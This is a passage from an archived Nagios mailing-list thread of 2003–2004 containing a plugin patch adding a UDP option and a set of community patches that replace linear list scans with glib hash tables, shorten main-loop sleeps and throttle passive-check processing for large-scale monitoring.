long_options, > + getopt_long (argc, argv, "hVH:w:c:W:C:p:t:u", long_options, > &option_index); > #else > - c = getopt (argc, argv, "hVH:w:c:W:C:p:t:"); > + c = getopt (argc, argv, "hVH:w:c:W:C:p:t:u"); > #endif > > if (c == -1 || c == EOF) > @@ -275,6 +296,9 @@ > usage ("Timeout interval must be a nonnegative integer\n"); > socket_timeout = atoi (optarg); > break; > + case 'u': > + /* udp */ > + use_udp = TRUE; > } > } > > @@ -338,6 +362,8 @@ > " Seconds before connection times out (default: %d)\n" > " -p, --port=INTEGER\n" > " Port number (default: %d)\n" > + " -u, --udp\n" > + " Use UDP to connect, not TCP\n" > " -h, --help\n" > " Print detailed help screen\n" > " -V, --version\n" > --- nagios-plugins-1.3.0/plugins/check_udp.c 2003-02-19 09:24:35.000000000 +1100 > +++ nagios-plugins-r1_3_0-200306050007/plugins/check_udp.c 2003-03-07 17:40:33.000000000 +1100 > @@ -6,7 +6,7 @@ > * License: GPL > * Copyright (c) 1999 Ethan Galstad (nagios at nagios.org) > * > -* Last Modified: $Date: 2003/02/18 22:24:35 $ > +* Last Modified: $Date: 2003/03/07 06:40:33 $ > * > * Command line: CHECK_UDP [-p port] [-s send] [-e expect] \ > * [-wt warn_time] [-ct crit_time] [-to to_sec] > @@ -173,7 +173,7 @@ > print_help (); > exit (STATE_OK); > case 'V': /* version */ > - print_revision (progname, "$Revision: 1.4 $"); > + print_revision (progname, "$Revision: 1.4.2.1 $"); > exit (STATE_OK); > case 'v': /* verbose mode */ > verbose = TRUE; > @@ -220,9 +220,9 @@ > usage ("Invalid host name/address\n"); > server_address = argv[c++]; > } > - else { > + > + if (server_address == NULL) > usage ("Host name was not supplied\n"); > - } > > return c; > } > @@ -246,7 +246,7 @@ > void > print_help (void) > { > - print_revision (progname, "$Revision: 1.4 $"); > + print_revision (progname, "$Revision: 1.4.2.1 $"); > printf > ("Copyright (c) 1999 Ethan Galstad (nagios at nagios.org)\n\n" > "This plugin tests an UDP connection with the specified host.\n\n"); > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-devel mailing list > Nagios-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-devel ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From noah at mac.com Fri Mar 12 15:36:40 2004 From: noah at mac.com (Noah Leaman) Date: Fri, 12 Mar 2004 06:36:40 -0800 Subject: [Nagios-users] Re: Large scale network monitoring limits with nagios In-Reply-To: <4051BC6B.1010605@mobeon.com> References: <4051BC6B.1010605@mobeon.com> Message-ID: I would be very interested in those patches as well. -- Noah On Mar 12, 2004, at 5:34 AM, Fredrik W?nglund wrote: > I think there was an discussion on this sorting-topc some month ago. I > thought that resulted in some pathes that changed the code to > hash-based sorting... > Anyone know where those patches are? > > /FredrikW > > > michael at optusnet.com.au wrote: > >> Noah Leaman writes: >>> Hopes it's o.k. cross posting to both groups on this matter... >>> >>> Using the concept of one service per up/down trap for each network >>> interface, I tested a little by creating a very simple set of nagios >>> configs, but with about 8000 PASSIVE service checks and no active >>> service checks. of course there was no problem in terms of scheduling >>> issues, but the CGIs all crawled to a snails pace. In my setup >>> (nagios >>> 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the >>> Status Summary page. >> Yes, this is what I'd expect. The problem is that nagios out of the >> box has some terrible code in it. In particular, there's a lot of >> places (including the display cgi's) that use O(n^2) algorithms. >> Some of the time the problem is hidden; Upper level code will do >> "foreach (list) { action }" where 'action' calls a function >> also does a linear search of the same list. oops. >> Other times the problem is obvious: Code that adds elements >> to the end of a singly linked list. By doing a linear >> search from the beginning. For each item added. For 12,000 >> items. oops. >> In our local version we create hash tables, and pre/post-sort lists to >> work around the worst of the problems. >> If you dig through the list archives you'll see the patches that >> were sent in to fix it for 1.1. >> That still leaves the other big problem with the passive service >> checks. Believe it or not, sending a passive result makes nagios >> fork()!! The parent process reads the check result, fork()s and then >> resends the result again to the parent. Rather wild stuff. :) >> Even better is that the child process has to wait around >> for the parent to handle the send. >> This is normally masked because the main event loop simply >> doesn't check the named pipe very frequently, so normally >> your external scripts will blow up with massive queues >> waiting for nagios to read the pipe. >> Nagios out of the box is simply not ready for reasonable >> scale yet. >> Michael. >> Ps. Ok. I saved you some effort. I dug up the local patches: >> (Note: I didn't write these) >> * Check the named pipe frequently. >> * Don't fork() too often when handling passive check results. >> * Use hash tables and sorted lists to get rid of most of the >> O(n^2) places. >> * Sleep only for a short time in the main loop. >> * allow check for auth-smtp. >> * fix a few bugs. >> * introduces depedancy on glib. >> diff -ru nagios-1.1-virgin/base/Makefile.in >> nagios-1.1/base/Makefile.in >> --- nagios-1.1-virgin/base/Makefile.in Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/base/Makefile.in Tue Oct 7 13:03:51 2003 >> @@ -10,9 +10,9 @@ >> SRC_XDATA=../xdata >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE >> +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `pkg-config glib --cflags` >> #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align >> -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs >> -DHAVE_CONFIG_H -DNSCORE >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` >> prefix=@prefix@ >> exec_prefix=@exec_prefix@ >> diff -ru nagios-1.1-virgin/cgi/Makefile.in nagios-1.1/cgi/Makefile.in >> --- nagios-1.1-virgin/cgi/Makefile.in Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/cgi/Makefile.in Tue Oct 7 13:03:51 2003 >> @@ -25,9 +25,9 @@ >> CP=@CP@ >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI >> +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `pkg-config glib --cflags` >> #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align >> -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs >> -DHAVE_CONFIG_H -DNSCGI >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` >> CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi >> notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi >> summary.cgi tac.cgi $(CGIEXTRAS) >> diff -ru nagios-1.1-virgin/common/common.h nagios-1.1/common/common.h >> --- nagios-1.1-virgin/common/common.h Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/common/common.h Tue Oct 7 13:03:51 2003 >> @@ -208,8 +208,12 @@ >> #define OK 0 >> #define ERROR -2 /* value was changed from -1 so as to not >> interfere with STATUS_UNKNOWN plugin result */ >> +#ifndef TRUE >> #define TRUE 1 >> +#endif >> +#ifndef FALSE >> #define FALSE 0 >> +#endif >> /****************** HOST CONFIG FILE READING OPTIONS >> ********************/ >> diff -ru nagios-1.1-virgin/common/config.h.in >> nagios-1.1/common/config.h.in >> --- nagios-1.1-virgin/common/config.h.in Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/common/config.h.in Tue Oct 7 13:03:51 2003 >> @@ -214,3 +214,7 @@ >> #include >> #endif >> +#define HAVE_GLIB_H 1 >> +#ifdef HAVE_GLIB_H >> +#include >> +#endif >> diff -ru nagios-1.1-virgin/common/objects.c >> nagios-1.1/common/objects.c >> --- nagios-1.1-virgin/common/objects.c Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/common/objects.c Tue Oct 7 13:03:51 2003 >> @@ -59,7 +59,10 @@ >> servicedependency *servicedependency_list=NULL; >> hostdependency *hostdependency_list=NULL; >> hostescalation *hostescalation_list=NULL; >> +GTree *service_tree = NULL; >> +GHashTable *host_hash = NULL; >> +int service_list_add(char *key, service *v, void *data); >> >> /******************************************************************/ >> @@ -99,6 +102,8 @@ >> printf("read_object_config_data() end\n"); >> #endif >> + g_tree_traverse(service_tree, >> (GTraverseFunc)service_list_add, G_IN_ORDER, NULL); >> + >> return result; >> } >> @@ -107,6 +112,13 @@ >> /**************** OBJECT ADDITION FUNCTIONS ***********************/ >> /******************************************************************/ >> +int service_list_add(char *key, service *v, void *data) >> +{ >> + v->next = service_list; >> + service_list = v; >> + return 0; >> +} >> + >> >> /* add a new timeperiod to the list in memory */ >> @@ -747,6 +759,16 @@ >> printf("\tNotification Interval: >> %d\n",new_host->notification_interval); >> printf("\tNotification Time Period: >> %s\n",new_host->notification_period); >> #endif >> + >> +#ifdef HAVE_GLIB_H >> + /* Cache host in hash table */ >> + if (!host_hash) >> + host_hash = g_hash_table_new(g_str_hash, g_str_equal); >> + >> + if (host_hash) >> + g_hash_table_insert(host_hash, new_host->name, new_host); >> +#endif >> + >> #ifdef DEBUG0 >> printf("add_host() end\n"); >> #endif >> @@ -2173,40 +2195,7 @@ >> strcpy(new_service->perf_data,""); >> #endif >> - /* add new service to service list, sorted by host name then >> service description */ >> - last_service=service_list; >> - for(temp_service=service_list;temp_service!=NULL; >> temp_service=temp_service->next){ >> - >> - if(strcmp(new_service->host_name,temp_service->host_name)<0){ >> - new_service->next=temp_service; >> - if(temp_service==service_list) >> - service_list=new_service; >> - else >> - last_service->next=new_service; >> - break; >> - } >> - >> - else if(strcmp(new_service->host_name,temp_service->host_name)==0 >> && strcmp(new_service->description,temp_service->description)<0){ >> - new_service->next=temp_service; >> - if(temp_service==service_list) >> - service_list=new_service; >> - else >> - last_service->next=new_service; >> - break; >> - } >> - else >> - last_service=temp_service; >> - } >> - if(service_list==NULL){ >> - new_service->next=NULL; >> - service_list=new_service; >> - } >> - else if(temp_service==NULL){ >> - new_service->next=NULL; >> - last_service->next=new_service; >> - } >> - >> #ifdef DEBUG1 >> printf("\tHost: %s\n",new_service->host_name); >> printf("\tDescription: %s\n",new_service->description); >> @@ -2222,6 +2211,19 @@ >> printf("\tEvent Handler: >> %s\n",(new_service->event_handler==NULL)?"N/A":new_service- >> >event_handler); >> #endif >> +#ifdef HAVE_GLIB_H >> + /* Cache service in tree */ >> + if (!service_tree) >> + service_tree = g_tree_new((GCompareFunc)strcmp); >> + >> + if (service_tree) >> + { >> + char *key = calloc(strlen(new_service->host_name) + >> strlen(new_service->description) + 2, 1); >> + sprintf(key, "%s-%s", new_service->host_name, >> new_service->description); >> + g_tree_insert(service_tree, key, new_service); >> + } >> +#endif >> + >> #ifdef DEBUG0 >> printf("add_service() end\n"); >> #endif >> @@ -3226,6 +3228,13 @@ >> if(name==NULL) >> return NULL; >> +#ifdef HAVE_GLIB_H >> + /* Lookup host in the hash */ >> + if (host_hash) >> + return (host *)g_hash_table_lookup(host_hash, name); >> +#endif >> + >> + >> if(hst==NULL) >> temp_host=host_list; >> else >> @@ -3500,6 +3509,18 @@ >> if(host_name==NULL || svc_desc==NULL) >> return NULL; >> +#ifdef HAVE_GLIB_H >> + /* Lookup service in the tree */ >> + if (service_tree) >> + { >> + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); >> + sprintf(key, "%s-%s", host_name, svc_desc); >> + temp_service = (service *)g_tree_lookup(service_tree, key); >> + free(key); >> + return temp_service; >> + } >> +#endif >> + >> if(svcptr==NULL) >> temp_service=service_list; >> else >> diff -ru nagios-1.1-virgin/common/statusdata.c >> nagios-1.1/common/statusdata.c >> --- nagios-1.1-virgin/common/statusdata.c Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/common/statusdata.c Tue Oct 7 13:04:12 2003 >> @@ -51,6 +51,7 @@ >> #ifdef NSCGI >> hoststatus *hoststatus_list=NULL; >> servicestatus *servicestatus_list=NULL; >> +GTree *servicestatus_tree=NULL; >> time_t program_start; >> int daemon_mode; >> @@ -320,6 +321,7 @@ >> /******************************************************************/ >> +int servicestatus_list_add(servicestatus *key, void *v, void >> *data); >> /* reads in all status data */ >> int read_status_data(char *config_file,int options){ >> int result=OK; >> @@ -332,6 +334,7 @@ >> result=xsddb_read_status_data(config_file,options); >> #endif >> + g_tree_traverse(servicestatus_tree, >> (GTraverseFunc)servicestatus_list_add, G_IN_ORDER, NULL); >> return result; >> } >> @@ -341,6 +344,12 @@ >> /********************** ADDITION FUNCTIONS ************************/ >> /******************************************************************/ >> +int servicestatus_list_add(servicestatus *key, void *v, void *data) >> +{ >> + key->next = servicestatus_list; >> + servicestatus_list = key; >> + return 0; >> +} >> /* sets program status variables */ >> int add_program_status(time_t _program_start, int _nagios_pid, int >> _daemon_mode, time_t _last_command_check, time_t _last_log_rotation, >> int _enable_notifications,int _execute_service_checks,int >> _accept_passive_service_checks,int _enable_event_handlers,int >> _obsess_over_services, int _enable_flap_detection, int >> _enable_failure_prediction, int _process_performance_data){ >> @@ -534,6 +543,16 @@ >> return OK; >> } >> +int servicestatus_cmp(servicestatus *a, servicestatus *b) >> +{ >> + int c; >> + >> + c = strcmp(b->host_name, a->host_name); >> + if (c) >> + return c; >> + >> + return strcmp(b->description, a->description); >> +} >> /* adds a service status entry to the list in memory */ >> int add_service_status(char *host_name,char *svc_description,char >> *status_string,time_t last_update,int current_attempt,int >> max_attempts,int state_type,time_t last_check,time_t next_check,int >> check_type,int checks_enabled,int accept_passive_checks,int >> event_handler_enabled,time_t last_state_change,int >> problem_has_been_acknowledged,char *last_hard_state_string,unsigned >> long time_ok,unsigned long time_warning,unsigned long >> time_unknown,unsigned long time_critical,time_t last_notification,int >> current_notification_number,int notifications_enabled, int latency, >> int execution_time, int flap_detection_enabled, int is_flapping, >> double percent_state_change, int scheduled_downtime_depth, int >> failure_prediction_enabled, int process_performance_data, int >> obsess_over_service, char *plugin_output){ >> @@ -543,6 +562,8 @@ >> int status; >> int last_hard_state; >> + if (!servicestatus_tree) >> + servicestatus_tree = g_tree_new( (GCompareFunc) servicestatus_cmp); >> /* make sure we have what we need */ >> if(host_name==NULL) >> @@ -724,41 +745,7 @@ >> /* scheduled downtime depth */ >> new_svcstatus->scheduled_downtime_depth=scheduled_downtime_depth; >> - >> - /* add new service status to list, sorted by host name then >> description */ >> - last_svcstatus=servicestatus_list; >> - for(temp_svcstatus=servicestatus_list;temp_svcstatus!=NULL; >> temp_svcstatus=temp_svcstatus->next){ >> - >> - if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)<0){ >> - new_svcstatus->next=temp_svcstatus; >> - if(temp_svcstatus==servicestatus_list) >> - servicestatus_list=new_svcstatus; >> - else >> - last_svcstatus->next=new_svcstatus; >> - break; >> - } >> - >> - else >> if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)==0 && >> strcmp(new_svcstatus->description,temp_svcstatus->description)<0){ >> - new_svcstatus->next=temp_svcstatus; >> - if(temp_svcstatus==servicestatus_list) >> - servicestatus_list=new_svcstatus; >> - else >> - last_svcstatus->next=new_svcstatus; >> - break; >> - } >> - >> - else >> - last_svcstatus=temp_svcstatus; >> - } >> - if(servicestatus_list==NULL){ >> - new_svcstatus->next=NULL; >> - servicestatus_list=new_svcstatus; >> - } >> - else if(temp_svcstatus==NULL){ >> - new_svcstatus->next=NULL; >> - last_svcstatus->next=new_svcstatus; >> - } >> - >> + g_tree_insert(servicestatus_tree, new_svcstatus, new_svcstatus); >> return OK; >> } >> diff -ru nagios-1.1-virgin/contrib/Makefile.in >> nagios-1.1/contrib/Makefile.in >> --- nagios-1.1-virgin/contrib/Makefile.in Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/contrib/Makefile.in Tue Oct 7 13:03:51 2003 >> @@ -5,8 +5,8 @@ >> ############################### >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` >> +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` >> # Source code directories >> SRC_COMMON=../common >> diff -ru nagios-1.1-virgin/html/Makefile.in >> nagios-1.1/html/Makefile.in >> --- nagios-1.1-virgin/html/Makefile.in Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/html/Makefile.in Tue Oct 7 13:03:51 2003 >> @@ -1,6 +1,6 @@ >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` >> +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` >> prefix=@prefix@ >> exec_prefix=@exec_prefix@ >> diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c >> --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/cgi/status.c Tue Oct 7 12:29:00 2003 >> @@ -1151,6 +1151,7 @@ >> printf("Attempt > HREF='%s&sorttype=%d&sortoption=%d'>> ALT='Sort by current attempt (ascending)'>> HREF='%s&sorttype=%d&sortoption=%d'>> ALT='Sort by current attempt >> (descending)'>> TH>",temp_url,SORT_ASCENDING,SORT_CURRENTATTEMPT,url_images_path,UP_AR >> ROW_ICON,temp_url,SORT_DESCENDING,SORT_CURRENTATTEMPT,url_images_path, >> DOWN_ARROW_ICON); >> printf("Status Information\n"); >> + printf("Ack\n"); >> printf("\n"); >> @@ -1499,6 +1500,15 @@ >> printf("> nowrap>%s\n",status_bg_class,state_duration); >> printf("> CLASS='status%s'>%d/%d\n",status_bg_class,temp_status- >> >current_attempt,temp_status->max_attempts); >> printf("> CLASS='status%s'>%s \n",status_bg_class,temp_status- >> >information); >> + if (temp_status->status==SERVICE_OK) >> + { >> + printf(" \n",status_bg_class); >> + } >> + else >> + { >> + printf("Ack\n", >> url_encode(temp_status->description)); >> + } >> printf("\n"); >> diff -u -b -B -r1.1.1.1 Makefile.in >> --- base/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ base/Makefile.in 29 Jul 2003 08:22:54 -0000 >> @@ -10,9 +10,9 @@ >> SRC_XDATA=../xdata >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE >> +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `glib-config --cflags` >> #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align >> -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs >> -DHAVE_CONFIG_H -DNSCORE >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` >> prefix=@prefix@ >> exec_prefix=@exec_prefix@ >> diff -u -b -B -r1.1.1.1 Makefile.in >> --- cgi/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ cgi/Makefile.in 29 Jul 2003 08:22:54 -0000 >> @@ -25,9 +25,9 @@ >> CP=@CP@ >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI >> +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `glib-config --cflags` >> #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align >> -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs >> -DHAVE_CONFIG_H -DNSCGI >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` >> CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi >> notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi >> summary.cgi tac.cgi $(CGIEXTRAS) >> diff -u -b -B -r1.1.1.2 common.h >> --- common/common.h 23 Jun 2003 01:57:24 -0000 1.1.1.2 >> +++ common/common.h 29 Jul 2003 08:22:54 -0000 >> @@ -208,8 +208,12 @@ >> #define OK 0 >> #define ERROR -2 /* value was changed from -1 so as to not >> interfere with STATUS_UNKNOWN plugin result */ >> +#ifndef TRUE >> #define TRUE 1 >> +#endif >> +#ifndef FALSE >> #define FALSE 0 >> +#endif >> /****************** HOST CONFIG FILE READING OPTIONS >> ********************/ >> diff -u -b -B -r1.1.1.1 config.h.in >> --- common/config.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ common/config.h.in 29 Jul 2003 08:22:54 -0000 >> @@ -214,3 +214,7 @@ >> #include >> #endif >> +#define HAVE_GLIB_H 1 >> +#ifdef HAVE_GLIB_H >> +#include >> +#endif >> diff -u -b -B -r1.1.1.1 objects.c >> --- common/objects.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ common/objects.c 29 Jul 2003 08:22:54 -0000 >> @@ -59,6 +59,7 @@ >> servicedependency *servicedependency_list=NULL; >> hostdependency *hostdependency_list=NULL; >> hostescalation *hostescalation_list=NULL; >> +GHashTable *service_hash = NULL; >> @@ -2222,6 +2223,19 @@ >> printf("\tEvent Handler: >> %s\n",(new_service->event_handler==NULL)?"N/A":new_service- >> >event_handler); >> #endif >> +#ifdef HAVE_GLIB_H >> + /* Cache service in hash table */ >> + if (!service_hash) >> + service_hash = g_hash_table_new(g_str_hash, g_str_equal); >> + >> + if (service_hash) >> + { >> + char *key = calloc(strlen(new_service->host_name) + >> strlen(new_service->description) + 2, 1); >> + sprintf(key, "%s-%s", new_service->host_name, >> new_service->description); >> + g_hash_table_insert(service_hash, key, new_service); >> + } >> +#endif >> + >> #ifdef DEBUG0 >> printf("add_service() end\n"); >> #endif >> @@ -3500,6 +3514,18 @@ >> if(host_name==NULL || svc_desc==NULL) >> return NULL; >> +#ifdef HAVE_GLIB_H >> + /* Lookup service in the hash */ >> + if (service_hash) >> + { >> + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); >> + sprintf(key, "%s-%s", host_name, svc_desc); >> + temp_service = (service *)g_hash_table_lookup(service_hash, key); >> + free(key); >> + return temp_service; >> + } >> +#endif >> + >> if(svcptr==NULL) >> temp_service=service_list; >> else >> diff -u -b -B -r1.1.1.2 Makefile.in >> --- contrib/Makefile.in 23 Jun 2003 01:57:24 -0000 1.1.1.2 >> +++ contrib/Makefile.in 29 Jul 2003 08:22:54 -0000 >> @@ -5,8 +5,8 @@ >> ############################### >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` >> +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` >> # Source code directories >> SRC_COMMON=../common >> diff -u -b -B -r1.1.1.1 Makefile.in >> --- html/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ html/Makefile.in 29 Jul 2003 08:22:54 -0000 >> @@ -1,6 +1,6 @@ >> CC=@CC@ >> -CFLAGS=@CFLAGS@ @DEFS@ >> -LDFLAGS=@LDFLAGS@ @LIBS@ >> +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` >> +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` >> prefix=@prefix@ >> exec_prefix=@exec_prefix@ >> diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c >> --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/cgi/status.c Wed Nov 26 18:01:16 2003 >> @@ -1293,9 +1293,15 @@ >> strncpy(status,"CRITICAL",sizeof(status)); >> status_class="CRITICAL"; >> if(temp_status->problem_has_been_acknowledged==TRUE) >> + { >> status_bg_class="BGCRITICALACK"; >> + status_class="BGCRITICALACK"; >> + } >> else if(temp_status->scheduled_downtime_depth>0) >> + { >> status_bg_class="BGCRITICALSCHED"; >> + status_class="BGCRITICALSCHED"; >> + } >> else >> status_bg_class="BGCRITICAL"; >> } >> diff -ur nagios-1.1-virgin/base/nagios.c nagios-1.1/base/nagios.c >> --- nagios-1.1-virgin/base/nagios.c Thu Jul 10 08:30:10 2003 >> +++ nagios-1.1/base/nagios.c Thu Jul 10 08:32:20 2003 >> @@ -51,6 +51,8 @@ >> #include >> #endif >> +#include >> + >> /******** BEGIN EMBEDDED PERL INTERPRETER DECLARATIONS ********/ >> #ifdef EMBEDDEDPERL @@ -1497,6 +1499,8 @@ >> printf("Current/Max Outstanding Checks: >> %d/ >> %d\n",currently_running_service_checks,max_parallel_service_checks); >> #endif >> + check_for_external_commands(); >> + >> /* handle high priority events */ >> if(event_list_high!=NULL && >> (current_time>=event_list_high->run_time)){ >> @@ -1594,8 +1598,13 @@ >> } >> /* wait a second so we don't hog the CPU... */ >> - else >> - sleep((unsigned int)sleep_time); >> + else { >> + struct timespec t; >> + t.tv_sec = 0; >> + t.tv_nsec = 1000 * 1000 * 50; >> + nanosleep(&t, NULL); >> + //check_for_external_commands(); >> + } >> } >> /* we don't have anything to do at this moment in time */ >> @@ -1606,7 +1615,12 @@ >> check_for_external_commands(); >> /* wait a second so we don't hog the CPU... */ >> - sleep((unsigned int)sleep_time); >> + >> + { struct timespec t; >> + t.tv_sec = 0; >> + t.tv_nsec = 1000 * 1000 * 50; >> + nanosleep(&t, NULL); } >> + >> } >> } >> --- commands.c.old Sat Aug 2 14:13:23 2003 >> +++ nagios-1.1/base/commands.c Sat Aug 2 14:13:53 2003 >> @@ -347,8 +347,19 @@ >> /**** PROCESS ALL PASSIVE CHECK RESULTS AT ONE TIME ****/ >> - if(passive_check_result_list!=NULL) >> - process_passive_service_checks(); >> + { >> + static unsigned int last_checked = 0; >> + unsigned int t; >> + >> + >> /* Don't process more frequently than once every 5 seconds. */ >> + /* This does a fork!!! */ >> + time(&t); >> + if(passive_check_result_list!=NULL && ((t - >> last_checked) > 5) ) { >> + process_passive_service_checks(); >> + last_checked = t; >> + } >> + } >> + >> #ifdef DEBUG0 >> --- commands.c.old Sat Aug 2 15:37:31 2003 >> +++ nagios-1.1/base/commands.c Sat Aug 2 15:44:36 2003 >> @@ -63,7 +63,7 @@ >> extern FILE *command_file_fp; >> -passive_check_result *passive_check_result_list; >> +passive_check_result *passive_check_result_list = NULL; >> int flush_pending_commands=FALSE; >> @@ -96,9 +96,6 @@ >> /* update the status log with new program information */ >> update_program_status(FALSE); >> - /* reset passive check result list pointer */ >> - passive_check_result_list=NULL; >> - >> /* reset flush flag */ >> flush_pending_commands=FALSE; >> @@ -1279,13 +1276,9 @@ >> new_pcr->next=NULL; >> - /* add the passive check result to the end of the list in memory */ >> - if(passive_check_result_list==NULL) >> - passive_check_result_list=new_pcr; >> - else{ >> - for(temp_pcr=passive_check_result_list;temp_pcr->next!=NULL; >> temp_pcr=temp_pcr->next); >> - temp_pcr->next=new_pcr; >> - } >> + /* add the passive check result to the head of the list in memory */ >> + new_pcr->next = passive_check_result_list; >> + passive_check_result_list = new_pcr; >> #ifdef DEBUG0 >> printf("cmd_process_service_check_result() end\n"); >> @@ -2845,6 +2838,17 @@ >> /* the grandchild process should submit the service check >> result... */ >> if(pid==0){ >> + passive_check_result *t, *t1; >> + /* Reverse passive list to correct the reverse that happened in >> collection. */ >> + >> + t = passive_check_result_list; >> + passive_check_result_list = NULL; >> + while (t) { >> + t1 = t->next; >> + t->next = passive_check_result_list; >> + passive_check_result_list = t; >> + t = t1; >> + } >> /* write all service checks to the IPC pipe for later processing >> by the grandparent */ >> >> for(temp_pcr=passive_check_result_list;temp_pcr!=NULL; >> temp_pcr=temp_pcr->next){ >> Index: base/checks.c >> =================================================================== >> RCS file: /home/cvs/repos/nagios_source/base/checks.c,v >> retrieving revision 1.1.1.1 >> diff -u -r1.1.1.1 checks.c >> --- base/checks.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ base/checks.c 7 Dec 2003 21:15:43 -0000 >> @@ -522,6 +522,7 @@ >> time_t current_time; >> int first_check=FALSE; >> int state_was_logged=FALSE; >> + int output_changed = FALSE; >> char old_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; >> char temp_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; >> char *temp_ptr; >> @@ -617,6 +618,7 @@ >> dependency_result=DEPENDENCIES_OK; >> first_check=FALSE; >> state_was_logged=FALSE; >> + output_changed=FALSE; >> strcpy(old_plugin_output,""); >> strcpy(temp_plugin_output,""); >> @@ -705,6 +707,9 @@ >> /* grab the return code */ >> temp_service->current_state=queued_svc_msg.return_code; >> } >> + >> + if (strcmp(old_plugin_output,temp_service->plugin_output)) >> + output_changed = TRUE; >> /* get the host that this service runs on */ >> temp_host=find_host(temp_service->host_name,NULL); >> @@ -835,7 +840,7 @@ >> state_was_logged=TRUE; >> /* notify contacts about the service recovery */ >> - service_notification(temp_service,NULL); >> + service_notification(temp_service,NULL,output_changed); >> /* run the service event handler to handle the hard state >> change */ >> handle_service_event(temp_service,HARD_STATE); >> @@ -1064,7 +1069,7 @@ >> check_pending_flex_service_downtime(temp_service); >> /* (re)send notifications out about this service problem if the >> host is up (and was at last check also) and the dependencies were >> okay... */ >> - service_notification(temp_service,NULL); >> + service_notification(temp_service,NULL,output_changed); >> /* run the service event handler if we changed state from the >> last hard state or if this service is flagged as being volatile */ >> if(hard_state_change==TRUE || temp_service->is_volatile==TRUE) >> @@ -1103,7 +1108,6 @@ >> /* if 